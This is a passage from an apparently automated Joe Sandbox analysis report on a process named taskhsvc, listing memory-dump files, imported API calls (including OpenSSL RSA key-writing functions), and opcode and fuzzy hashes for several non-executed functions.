                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 4216919130-0
                                                                                                                          • Opcode ID: 2387b1e9fac6dc4699e96cd758046707ed8b94466490d52f6edb83a2b5f4b965
                                                                                                                          • Instruction ID: 791e086cb53c63119409a3427ee890a0544a34cf2bf4e3ed90d05c01f1ac7ef9
                                                                                                                          • Opcode Fuzzy Hash: 2387b1e9fac6dc4699e96cd758046707ed8b94466490d52f6edb83a2b5f4b965
                                                                                                                          • Instruction Fuzzy Hash: BCB09270A009059BCF10DB96D48289EB7F2EB88358B12998091017610883B0BC528AA4

                                                                                                                          Non-executed Functions

                                                                                                                          Function 00D59070 Relevance: 6.0, APIs: 4, Instructions: 49COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: O_free$Public__stack_chk_faili2d_
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 1689642923-0
                                                                                                                          • Opcode ID: 534d952399509517076b65afc2979c813ed48ca21894f44894048bc8182e2d0f
                                                                                                                          • Instruction ID: 86aa86a35f7f6548fb45d7fd9bd311d6e1896ae08115ddf81cd21178760b1634
                                                                                                                          • Opcode Fuzzy Hash: 534d952399509517076b65afc2979c813ed48ca21894f44894048bc8182e2d0f
                                                                                                                          • Instruction Fuzzy Hash: 7711C3B4A04609CBCF00EFA9C5946AEF7F0AF08314F108A19E854E7390E374E944CBA2
                                                                                                                          Function 00D57168 Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 126stringCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                            • Part of subcall function 00D56376: __stack_chk_fail.LIBSSP-0 ref: 00D563C0
                                                                                                                          • abort.MSVCRT ref: 00D571C7
                                                                                                                          • BIO_s_mem.LIBEAY32 ref: 00D571CC
                                                                                                                          • BIO_new.LIBEAY32 ref: 00D571D4
                                                                                                                          • PEM_write_bio_RSAPrivateKey.LIBEAY32 ref: 00D57224
                                                                                                                          • BIO_free.LIBEAY32 ref: 00D57247
                                                                                                                          • BIO_ctrl.LIBEAY32 ref: 00D57273
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00D57366
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D36586
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D3659C
                                                                                                                            • Part of subcall function 00D36562: __stack_chk_fail.LIBSSP-0 ref: 00D36601
                                                                                                                            • Part of subcall function 00D39764: __stack_chk_fail.LIBSSP-0 ref: 00D39857
                                                                                                                          • abort.MSVCRT ref: 00D572B4
                                                                                                                          • memcpy.MSVCRT ref: 00D572DE
                                                                                                                          • BIO_free.LIBEAY32 ref: 00D57311
                                                                                                                          • strlen.MSVCRT ref: 00D5731C
                                                                                                                          • free.MSVCRT ref: 00D5734C
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$O_freeabortstrrchr$M_write_bio_O_ctrlO_newO_s_memPrivatefreememcpystrlen
                                                                                                                          • String ID: @G$c8$}8
                                                                                                                          • API String ID: 1110705281-1595700237
                                                                                                                          • Opcode ID: 8ee28cc496c569fe7b440330d9b5a5326f0ac1d68165d9d8cf10c6d4695b3114
                                                                                                                          • Instruction ID: a377b288c1b8446dfa079a2e70eb1bc4d72af3f335bd651cacf1172a1c6c5e41
                                                                                                                          • Opcode Fuzzy Hash: 8ee28cc496c569fe7b440330d9b5a5326f0ac1d68165d9d8cf10c6d4695b3114
                                                                                                                          • Instruction Fuzzy Hash: 925191B490870A9FDB00EFA8D5856AEBBF0AF44314F11981DE894AB351D778D984CF62
                                                                                                                          Function 00D35087 Relevance: 21.3, APIs: 11, Strings: 1, Instructions: 336stringCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_failabortmemsetstrchr
                                                                                                                          • String ID: -
                                                                                                                          • API String ID: 2472300372-2547889144
                                                                                                                          • Opcode ID: 6b40f4bc90a7e54bf56b395d2e2532a9a24fddf77506984845e017afd24ffba2
                                                                                                                          • Instruction ID: bf72d1f33d550dec96858d0aee140d215800753c83bbec8f6ec08d36c441db47
                                                                                                                          • Opcode Fuzzy Hash: 6b40f4bc90a7e54bf56b395d2e2532a9a24fddf77506984845e017afd24ffba2
                                                                                                                          • Instruction Fuzzy Hash: 5AF1AEB4E04709CFDB10EFA8D48869DBBF1BF49314F148919E4A9AB284D774A885CF21
                                                                                                                          Function 00D2A0C0 Relevance: 21.3, APIs: 9, Strings: 3, Instructions: 275COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                            • Part of subcall function 00E12D4C: __stack_chk_fail.LIBSSP-0 ref: 00E12D94
                                                                                                                          • memcpy.MSVCRT ref: 00D2A16B
                                                                                                                          • memcpy.MSVCRT ref: 00D2A1A4
                                                                                                                            • Part of subcall function 00E133E5: __stack_chk_fail.LIBSSP-0 ref: 00E1349B
                                                                                                                            • Part of subcall function 00D2A61B: memcpy.MSVCRT ref: 00D2A6C1
                                                                                                                            • Part of subcall function 00D2A61B: __stack_chk_fail.LIBSSP-0 ref: 00D2A7A7
                                                                                                                          • abort.MSVCRT ref: 00D2A213
                                                                                                                          • abort.MSVCRT ref: 00D2A288
                                                                                                                          • abort.MSVCRT ref: 00D2A2C7
                                                                                                                          • abort.MSVCRT ref: 00D2A325
                                                                                                                            • Part of subcall function 00E11EDC: __stack_chk_fail.LIBSSP-0 ref: 00E11F1E
                                                                                                                          • free.MSVCRT ref: 00D2A4B9
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00D2A4D3
                                                                                                                            • Part of subcall function 00D33842: __stack_chk_fail.LIBSSP-0 ref: 00D338B7
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
